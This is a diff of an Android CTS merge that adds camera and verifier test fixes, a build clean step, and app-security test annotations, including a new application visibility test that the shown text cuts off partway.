Merge "Remove BatteryStats testWifiScan" into pi-dev
diff --git a/CleanSpec.mk b/CleanSpec.mk
index 71ada3d..a7121ad 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -46,6 +46,7 @@
$(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
$(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
+$(call add-clean-step, rm -rf $(HOST_OUT)/cts/android-cts/testcases/CtsUiHostTestCases*)
# ************************************************
# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
diff --git a/apps/CameraITS/tests/scene0/test_read_write.py b/apps/CameraITS/tests/scene0/test_read_write.py
new file mode 100644
index 0000000..3c56fba
--- /dev/null
+++ b/apps/CameraITS/tests/scene0/test_read_write.py
@@ -0,0 +1,117 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+NAME = os.path.basename(__file__).split('.')[0]
+RTOL_EXP_GAIN = 0.97
+TEST_EXP_RANGE = [1E6, 1E9] # ns [1ms, 1s]
+
+
+def main():
+ """Test that the device will write/read correct exp/gain values."""
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.manual_sensor(props) and
+ its.caps.per_frame_control(props))
+
+ # determine capture format
+ debug = its.caps.debug_mode()
+ largest_yuv = its.objects.get_largest_yuv_format(props)
+ if debug:
+ fmt = largest_yuv
+ else:
+ match_ar = (largest_yuv['width'], largest_yuv['height'])
+ fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+
+ # grab exp/gain ranges from camera
+ sensor_exp_range = props['android.sensor.info.exposureTimeRange']
+ sens_range = props['android.sensor.info.sensitivityRange']
+ print 'sensor e range:', sensor_exp_range
+ print 'sensor s range:', sens_range
+
+ # determine if exposure test range is within sensor reported range
+ exp_range = []
+ if sensor_exp_range[0] < TEST_EXP_RANGE[0]:
+ exp_range.append(TEST_EXP_RANGE[0])
+ else:
+ exp_range.append(sensor_exp_range[0])
+ if sensor_exp_range[1] > TEST_EXP_RANGE[1]:
+ exp_range.append(TEST_EXP_RANGE[1])
+ else:
+ exp_range.append(sensor_exp_range[1])
+
+ # build requests
+ reqs = []
+ index_list = []
+ for exp in exp_range:
+ for sens in sens_range:
+ reqs.append(its.objects.manual_capture_request(sens, exp))
+ index_list.append((exp, sens))
+
+ # take shots
+ caps = cam.do_capture(reqs, fmt)
+
+ # extract exp/sensitivity data
+ data = {}
+ for i, cap in enumerate(caps):
+ e_read = cap['metadata']['android.sensor.exposureTime']
+ s_read = cap['metadata']['android.sensor.sensitivity']
+ data[index_list[i]] = (e_read, s_read)
+
+ # check read/write match across all shots
+ e_failed = []
+ s_failed = []
+ for e_write in exp_range:
+ for s_write in sens_range:
+ (e_read, s_read) = data[(e_write, s_write)]
+ if e_write < e_read or e_read/float(e_write) <= RTOL_EXP_GAIN:
+ e_failed.append({'e_write': e_write,
+ 'e_read': e_read,
+ 's_write': s_write,
+ 's_read': s_read})
+ if s_write < s_read or s_read/float(s_write) <= RTOL_EXP_GAIN:
+ s_failed.append({'e_write': e_write,
+ 'e_read': e_read,
+ 's_write': s_write,
+ 's_read': s_read})
+
+ # print results
+ if e_failed:
+ print '\nFAILs for exposure time'
+ for fail in e_failed:
+ print ' e_write: %d, e_read: %d, RTOL: %.2f, ' % (
+ fail['e_write'], fail['e_read'], RTOL_EXP_GAIN),
+ print 's_write: %d, s_read: %d, RTOL: %.2f' % (
+ fail['s_write'], fail['s_read'], RTOL_EXP_GAIN)
+ if s_failed:
+ print 'FAILs for sensitivity(ISO)'
+ for fail in s_failed:
+ print 's_write: %d, s_read: %d, RTOL: %.2f, ' % (
+ fail['s_write'], fail['s_read'], RTOL_EXP_GAIN),
+ print ' e_write: %d, e_read: %d, RTOL: %.2f' % (
+ fail['e_write'], fail['e_read'], RTOL_EXP_GAIN)
+
+ # assert PASS/FAIL
+ assert not e_failed+s_failed
+
+
+if __name__ == '__main__':
+ main()
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index e68b8a3..cf30457 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -202,6 +202,9 @@
img_raw = its.image.convert_capture_to_rgb_image(cap_raw,
props=props)
if its.caps.distortion_correction(props):
+ # The intrinsics and distortion coefficients are meant for full
+ # size RAW. Resize back to full size here.
+ img_raw = cv2.resize(img_raw, (0,0), fx=2.0, fy=2.0)
# Intrinsic cal is of format: [f_x, f_y, c_x, c_y, s]
# [f_x, f_y] is the horizontal and vertical focal lengths,
# [c_x, c_y] is the position of the optical axis,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index faacaf9..bc00d5f 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -454,6 +454,10 @@
w, h, s, e*NSEC_TO_MSEC, fps)
caps = cam.do_capture([req]*int(fps*test_length), fmt)
+ # Capture a bit more gyro samples for use in
+ # get_best_alignment_offset
+ time.sleep(0.2)
+
# Get the gyro events.
print "Reading out sensor events"
gyro = cam.get_sensor_events()["gyro"]
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index cc95a2a..5a696e0 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -342,6 +342,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -365,6 +367,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -388,6 +392,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
@@ -411,6 +417,8 @@
<meta-data
android:name="test_parent"
android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
</activity>
<!--
diff --git a/apps/CtsVerifier/res/layout/bt_hid_device.xml b/apps/CtsVerifier/res/layout/bt_hid_device.xml
index 39d9ecd..478fc0e 100644
--- a/apps/CtsVerifier/res/layout/bt_hid_device.xml
+++ b/apps/CtsVerifier/res/layout/bt_hid_device.xml
@@ -14,7 +14,11 @@
limitations under the License.
-->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+<LinearLayout
style="@style/RootLayoutPadding"
android:layout_width="match_parent"
android:layout_height="match_parent"
@@ -63,3 +67,5 @@
<include layout="@layout/pass_fail_buttons" />
</LinearLayout>
+
+</ScrollView>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 0aa4841..47ea81f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -71,8 +71,6 @@
mTestAdapter = new TestAdapter(this, setupTestList());
ListView listView = (ListView) findViewById(R.id.ble_client_connection_tests);
listView.setAdapter(mTestAdapter);
- listView.setEnabled(false);
- listView.setClickable(false);
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
index 28d5d1c..bd463af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVCameraPreview.java
@@ -28,6 +28,9 @@
import java.io.IOException;
import java.lang.Math;
+import com.android.cts.verifier.sensors.RVCVRecordActivity;
+import com.android.cts.verifier.sensors.RVCVRecordActivity.RecordProcedureControllerCallback;
+
/** Camera preview class */
public class RVCVCameraPreview extends SurfaceView implements SurfaceHolder.Callback {
private static final String TAG = "RVCVCameraPreview";
@@ -37,6 +40,10 @@
private Camera mCamera;
private float mAspect;
private int mRotation;
+ private boolean mCheckStartTest = false;
+ private boolean mPreviewStarted = false;
+
+ private RVCVRecordActivity.RecordProcedureControllerCallback mRecordProcedureControllerCallback;
/**
* Constructor
@@ -86,27 +93,6 @@
// preview camera does not exist
return;
}
-
- try {
- mCamera.setPreviewDisplay(holder);
- mCamera.startPreview();
- int v_height = getHeight();
- int v_width = getWidth();
- ViewGroup.LayoutParams layout = getLayoutParams();
- if ( (float)v_height/v_width >
- mAspect) {
- layout.height = (int)Math.round(v_width * mAspect);
- layout.width = v_width;
- }else {
- layout.width = (int)Math.round(v_height / mAspect);
- layout.height = v_height;
- }
- Log.d(TAG, String.format("Layout (%d, %d) -> (%d, %d)", v_width, v_height,
- layout.width, layout.height));
- setLayoutParams(layout);
- } catch (IOException e) {
- if (LOCAL_LOGD) Log.d(TAG, "Error when starting camera preview: " + e.getMessage());
- }
}
/**
* SurfaceHolder.Callback
@@ -125,13 +111,68 @@
// preview surface or camera does not exist
return;
}
+ if (adjustLayoutParamsIfNeeded()) {
+ // Wait on next surfaceChanged() call before proceeding
+ Log.d(TAG, "Waiting on surface change before starting preview");
+ return;
+ }
- // stop preview before making changes
- mCamera.stopPreview();
+ if (mPreviewStarted) {
+ Log.w(TAG, "Re-starting camera preview");
+ if (mCheckStartTest && mRecordProcedureControllerCallback != null) {
+ mRecordProcedureControllerCallback.stopRecordProcedureController();
+ }
+ mCamera.stopPreview();
+ mPreviewStarted = false;
+ }
+ mCheckStartTest = false;
mCamera.setDisplayOrientation(mRotation);
+ try {
+ mCamera.setPreviewDisplay(holder);
+ mCamera.startPreview();
+ mPreviewStarted = true;
+ if (mRecordProcedureControllerCallback != null) {
+ mCheckStartTest = true;
+ mRecordProcedureControllerCallback.startRecordProcedureController();
+ }
+ } catch (IOException e) {
+ if (LOCAL_LOGD) Log.d(TAG, "Error when starting camera preview: " + e.getMessage());
+ }
+ }
- //do the same as if it is created again
- surfaceCreated(holder);
+ /**
+ * Resize the layout to more closely match the desired aspect ratio, if necessary.
+ *
+ * @return true if we updated the layout params, false if the params look good
+ */
+ private boolean adjustLayoutParamsIfNeeded() {
+ ViewGroup.LayoutParams layoutParams = getLayoutParams();
+ int curWidth = getWidth();
+ int curHeight = getHeight();
+ float curAspect = (float)curHeight / (float)curWidth;
+ float aspectDelta = Math.abs(mAspect - curAspect);
+ if ((aspectDelta / mAspect) >= 0.01) {
+ if (curAspect > mAspect) {
+ layoutParams.height = (int)Math.round(curWidth * mAspect);
+ layoutParams.width = curWidth;
+ } else {
+ layoutParams.height = curHeight;
+ layoutParams.width = (int)Math.round(curHeight / mAspect);
+ }
+
+ if (layoutParams.height != curHeight || layoutParams.width != curWidth) {
+ Log.d(TAG, String.format("Layout (%d, %d) -> (%d, %d)", curWidth, curHeight,
+ layoutParams.width, layoutParams.height));
+ setLayoutParams(layoutParams);
+ return true;
+ }
+ }
+ return false;
+ }
+
+ public void setRecordProcedureControllerCallback(
+ RVCVRecordActivity.RecordProcedureControllerCallback callback) {
+ mRecordProcedureControllerCallback = callback;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
index edc8536..8199736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVRecordActivity.java
@@ -80,6 +80,33 @@
private final static boolean LOG_RAW_SENSORS = false;
private RawSensorLogger mRawSensorLogger;
+ public final RecordProcedureControllerCallback mRecordProcedureControllerCallback =
+ new RecordProcedureControllerCallback() {
+ public void startRecordProcedureController() {
+ startRecordcontroller();
+ }
+ public void stopRecordProcedureController() {
+ stopRecordcontroller();
+ }
+ };
+
+ public void startRecordcontroller() {
+ if (mController != null) {
+ Log.v(TAG, "startRecordcontroller is working. stop it");
+ mController.quit();
+ }
+ Log.v(TAG, "startRecordcontroller");
+ mController = new RecordProcedureController(this);
+ }
+
+ public void stopRecordcontroller() {
+ if (mController != null) {
+ Log.v(TAG, "startRecordcontroller is working. stop it");
+ mController.quit();
+ }
+ Log.v(TAG, "stopRecordcontroller");
+ }
+
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -99,7 +126,9 @@
@Override
protected void onPause() {
super.onPause();
- mController.quit();
+ if (mController != null) {
+ mController.quit();
+ }
mCameraContext.end();
endSoundPool();
@@ -131,7 +160,7 @@
*/
private void init() {
mCameraContext = new CameraContext();
- mCameraContext.init();
+ mCameraContext.init(mRecordProcedureControllerCallback);
mCoverManager = new CoverageManager();
mIndicatorView.setDataProvider(
@@ -147,8 +176,6 @@
if (LOG_RAW_SENSORS) {
mRawSensorLogger = new RawSensorLogger(mRecordDir);
}
-
- mController = new RecordProcedureController(this);
}
/**
@@ -381,6 +408,11 @@
}
}
+ public interface RecordProcedureControllerCallback {
+ public void startRecordProcedureController();
+ public void stopRecordProcedureController();
+ }
+
/**
* Camera preview control class
*/
@@ -388,6 +420,7 @@
private Camera mCamera;
private CamcorderProfile mProfile;
private Camera.CameraInfo mCameraInfo;
+ private RVCVCameraPreview mCameraPreview;
private int [] mPreferredProfiles = {
CamcorderProfile.QUALITY_480P, // smaller -> faster
@@ -514,7 +547,7 @@
/**
* Setup the camera
*/
- public void init() {
+ public void init(RVCVRecordActivity.RecordProcedureControllerCallback callback) {
if (mCamera != null) {
double alpha = mCamera.getParameters().getHorizontalViewAngle()*Math.PI/180.0;
int width = mProfile.videoFrameWidth;
@@ -523,9 +556,10 @@
if (LOCAL_LOGV) Log.v(TAG, "View angle="
+ mCamera.getParameters().getHorizontalViewAngle() +" Estimated fx = "+fx);
- RVCVCameraPreview cameraPreview =
+ mCameraPreview =
(RVCVCameraPreview) findViewById(R.id.cam_preview);
- cameraPreview.init(mCamera,
+ mCameraPreview.setRecordProcedureControllerCallback(callback);
+ mCameraPreview.init(mCamera,
(float)mProfile.videoFrameWidth/mProfile.videoFrameHeight,
mCameraInfo.orientation);
} else {
@@ -633,13 +667,28 @@
}
mRecorder = new MediaRecorder();
- mCamera.unlock();
- mRecorder.setCamera(mCamera);
+ try {
+ mCamera.unlock();
+ } catch (RuntimeException e) {
+ e.printStackTrace();
+ try {
+ mRecorder.reset();
+ mRecorder.release();
+ } catch (RuntimeException ex) {
+ e.printStackTrace();
+ }
+ return;
+ }
- mRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
- mRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
-
- mRecorder.setProfile(mProfile);
+ try {
+ mRecorder.setCamera(mCamera);
+ mRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+ mRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+ mRecorder.setProfile(mProfile);
+ } catch (RuntimeException e) {
+ e.printStackTrace();
+ return;
+ }
try {
mRecorder.setOutputFile(getVideoRecFilePath());
@@ -653,9 +702,13 @@
mRecorder.start();
} catch (RuntimeException e) {
Log.e(TAG, "Starting recording failed.");
- mRecorder.reset();
- mRecorder.release();
- mCamera.lock();
+ try {
+ mRecorder.reset();
+ mRecorder.release();
+ mCamera.lock();
+ } catch (RuntimeException ex1) {
+ e.printStackTrace();
+ }
return;
}
mRunning = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
index f1fee31..d89e84e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/SelfManagedIncomingCallTestActivity.java
@@ -134,7 +134,7 @@
return null;
} catch (Throwable t) {
- return t;
+ return t;
}
}
@@ -156,39 +156,64 @@
mStep3Status = view.findViewById(R.id.step_3_status);
mConfirm = view.findViewById(R.id.telecom_incoming_self_mgd_confirm_answer_button);
mConfirm.setOnClickListener(v -> {
- CtsSelfManagedConnectionService ctsSelfConnSvr =
- CtsSelfManagedConnectionService.waitForAndGetConnectionService();
- if (ctsSelfConnSvr == null) {
- mStep3Status.setImageResource(R.drawable.fs_error);
- return;
- }
- List<CtsConnection> connections = ctsSelfConnSvr.getConnections();
- if (connections.size() != 1) {
- mStep3Status.setImageResource(R.drawable.fs_error);
- return;
- }
+ try {
+ CtsSelfManagedConnectionService ctsSelfConnSvr =
+ CtsSelfManagedConnectionService.waitForAndGetConnectionService();
+ if (ctsSelfConnSvr == null) {
+ mStep3Status.setImageResource(R.drawable.fs_error);
+ return;
+ }
+ List<CtsConnection> connections = ctsSelfConnSvr.getConnections();
+ if (connections.size() != 1) {
+ mStep3Status.setImageResource(R.drawable.fs_error);
+ return;
+ }
- if (connections.get(0).getState() == Connection.STATE_ACTIVE) {
- connections
- .stream()
- .forEach((c) -> c.onDisconnect());
- mStep3Status.setImageResource(R.drawable.fs_good);
- getPassButton().setEnabled(true);
- } else {
- mStep3Status.setImageResource(R.drawable.fs_error);
- }
+ if (connections.get(0).getState() == Connection.STATE_ACTIVE) {
+ mStep3Status.setImageResource(R.drawable.fs_good);
+ getPassButton().setEnabled(true);
+ } else {
+ mStep3Status.setImageResource(R.drawable.fs_error);
+ }
- // The self-managed connection service should be disconnected, because all of the
- // self-managed connections are disconnected.
- if (CtsConnectionService.getConnectionService() != null) {
- mStep3Status.setImageResource(R.drawable.fs_error);
- return;
- }
+ // The self-managed connection service should be disconnected, because all of the
+ // self-managed connections are disconnected.
+ if (CtsConnectionService.getConnectionService() != null) {
+ mStep3Status.setImageResource(R.drawable.fs_error);
+ return;
+ }
- PhoneAccountUtils.unRegisterTestSelfManagedPhoneAccount(this);
+ mConfirm.setEnabled(false);
+ } finally {
+ // If some step fails, make sure we cleanup any lingering connections.
+ cleanupConnectionServices();
+ }
});
mShowUi.setEnabled(false);
mConfirm.setEnabled(false);
}
+
+ private void cleanupConnectionServices() {
+ CtsSelfManagedConnectionService ctsSelfConnSvr =
+ CtsSelfManagedConnectionService.getConnectionService();
+ if (ctsSelfConnSvr != null) {
+ ctsSelfConnSvr.getConnections()
+ .stream()
+ .forEach((c) -> {
+ c.onDisconnect();
+ });
+ }
+
+ CtsConnectionService ctsConnectionService =
+ CtsConnectionService.getConnectionService();
+ if (ctsConnectionService != null) {
+ ctsConnectionService.getConnections()
+ .stream()
+ .forEach((c) -> {
+ c.onDisconnect();
+ });
+ }
+ PhoneAccountUtils.unRegisterTestSelfManagedPhoneAccount(this);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 71495a0..f4542db 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -72,7 +72,7 @@
"com.android.cts.verifier.usb.device.USB_PERMISSION";
private static final String LOG_TAG = UsbDeviceTestActivity.class.getSimpleName();
private static final int TIMEOUT_MILLIS = 5000;
- private static final int LARGE_BUFFER_SIZE = 1305049;
+ private static final int LARGE_BUFFER_SIZE = 124619;
private UsbManager mUsbManager;
private BroadcastReceiver mUsbDeviceConnectionReceiver;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetTestActivity.java
index 25f0a7a..32c4267 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetTestActivity.java
@@ -19,6 +19,8 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+import com.android.compatibility.common.util.CddTest;
+
import android.content.Context;
import android.hardware.Sensor;
import android.hardware.SensorEventListener;
@@ -29,6 +31,7 @@
/**
* CTS Verifier case for verifying basic widget framework functionality.
*/
+@CddTest(requirement="3.8.2/C-1-2,C-1-3")
public class WidgetTestActivity extends PassFailButtons.Activity {
@Override
diff --git a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
index 0471fc0c..b3e6166 100644
--- a/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
+++ b/apps/CtsVerifierUSBCompanion/src/com/android/cts/verifierusbcompanion/DeviceTestCompanion.java
@@ -35,7 +35,7 @@
* Companion code for com.android.cts.verifier.usb.device.UsbDeviceTestActivity
*/
class DeviceTestCompanion extends TestCompanion {
- private static final int LARGE_BUFFER_SIZE = 1305049;
+ private static final int LARGE_BUFFER_SIZE = 124619;
DeviceTestCompanion(@NonNull Context context, @NonNull TestObserver observer) {
super(context, observer);
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
index 6234f0e..b9a9522 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
@@ -69,7 +69,9 @@
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.O_MR1) {
return;
}
- store.addResult("target_fcm_version",
- VintfObject.getTargetFrameworkCompatibilityMatrixVersion());
+ Long version = VintfObject.getTargetFrameworkCompatibilityMatrixVersion();
+ if (version != null) {
+ store.addResult("target_fcm_version", version);
+ }
}
}
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index babc67f..59ef75e 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -30,11 +30,12 @@
LOCAL_CTS_TEST_PACKAGE := android.appsecurity
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_REQUIRED_MODULES := \
CtsCorruptApkTests_b71360999 \
- CtsCorruptApkTests_b71361168
+ CtsCorruptApkTests_b71361168 \
+ CtsCorruptApkTests_b79488511
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index aa7e4a0..ad98fa2 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -25,6 +25,7 @@
import static org.junit.Assert.fail;
+import android.platform.test.annotations.AppModeFull;
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -75,6 +76,7 @@
* sniffed from the underlying fstab.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testFeatureConsistent() throws Exception {
final boolean hasFeature = hasFeature();
final boolean hasFstab = hasFstab();
@@ -85,6 +87,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testApps() throws Exception {
if (!isSupportedDevice()) return;
final String diskId = getAdoptionDisk();
@@ -136,6 +139,7 @@
}
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testPrimaryStorage() throws Exception {
if (!isSupportedDevice()) return;
final String diskId = getAdoptionDisk();
@@ -236,6 +240,7 @@
* adopted volumes.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testPackageInstaller() throws Exception {
if (!isSupportedDevice()) return;
final String diskId = getAdoptionDisk();
@@ -265,6 +270,7 @@
* returned at a later time.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testEjected() throws Exception {
if (!isSupportedDevice()) return;
final String diskId = getAdoptionDisk();
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index 02e62d3..3231d0c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -21,6 +21,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.AppModeFull;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
import com.android.tradefed.device.DeviceNotAvailableException;
@@ -101,6 +102,7 @@
* if it is signed with a different certificate.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testSharedUidDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing apks with shared uid, but different certs");
try {
@@ -130,6 +132,7 @@
* certificate.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testAppUpgradeDifferentCerts() throws Exception {
Log.i(LOG_TAG, "installing app upgrade with different certs");
try {
@@ -156,6 +159,7 @@
* Test that an app cannot access another app's private data.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testAppFailAccessPrivateData() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to access another app's private data");
try {
@@ -187,6 +191,7 @@
* Test that uninstall of an app removes its private data.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testUninstallRemovesData() throws Exception {
Log.i(LOG_TAG, "Uninstalling app, verifying data is removed.");
try {
@@ -219,6 +224,7 @@
* Test that an app cannot instrument another app that is signed with different certificate.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testInstrumentationDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to instrument another app");
try {
@@ -253,6 +259,7 @@
* certificate than the app that declared the permission.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testPermissionDiffCert() throws Exception {
Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
try {
@@ -290,6 +297,7 @@
* Tests that an arbitrary file cannot be installed using the 'cmd' command.
*/
@Test
+ @AppModeFull // TODO: Needs porting to instant
public void testAdbInstallFile() throws Exception {
String output = getDevice().executeShellCommand(
"cmd package install -S 1024 /data/local/tmp/foo.apk");
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java
new file mode 100644
index 0000000..08d965c
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ApplicationVisibilityTest.java
@@ -0,0 +1,283 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.appsecurity.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Tests the visibility of installed applications.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ApplicationVisibilityTest extends BaseAppSecurityTest {
+
+ private static final String TINY_APK = "CtsPkgInstallTinyApp.apk";
+ private static final String TINY_PKG = "android.appsecurity.cts.tinyapp";
+
+ private static final String TEST_WITH_PERMISSION_APK =
+ "CtsApplicationVisibilityCrossUserApp.apk";
+ private static final String TEST_WITH_PERMISSION_PKG =
+ "com.android.cts.applicationvisibility";
+
+ private int[] mUsers;
+ private String mOldVerifierValue;
+
+ @Before
+ public void setUpPackage() throws Exception {
+ mUsers = Utils.prepareMultipleUsers(getDevice(), 3);
+ mOldVerifierValue =
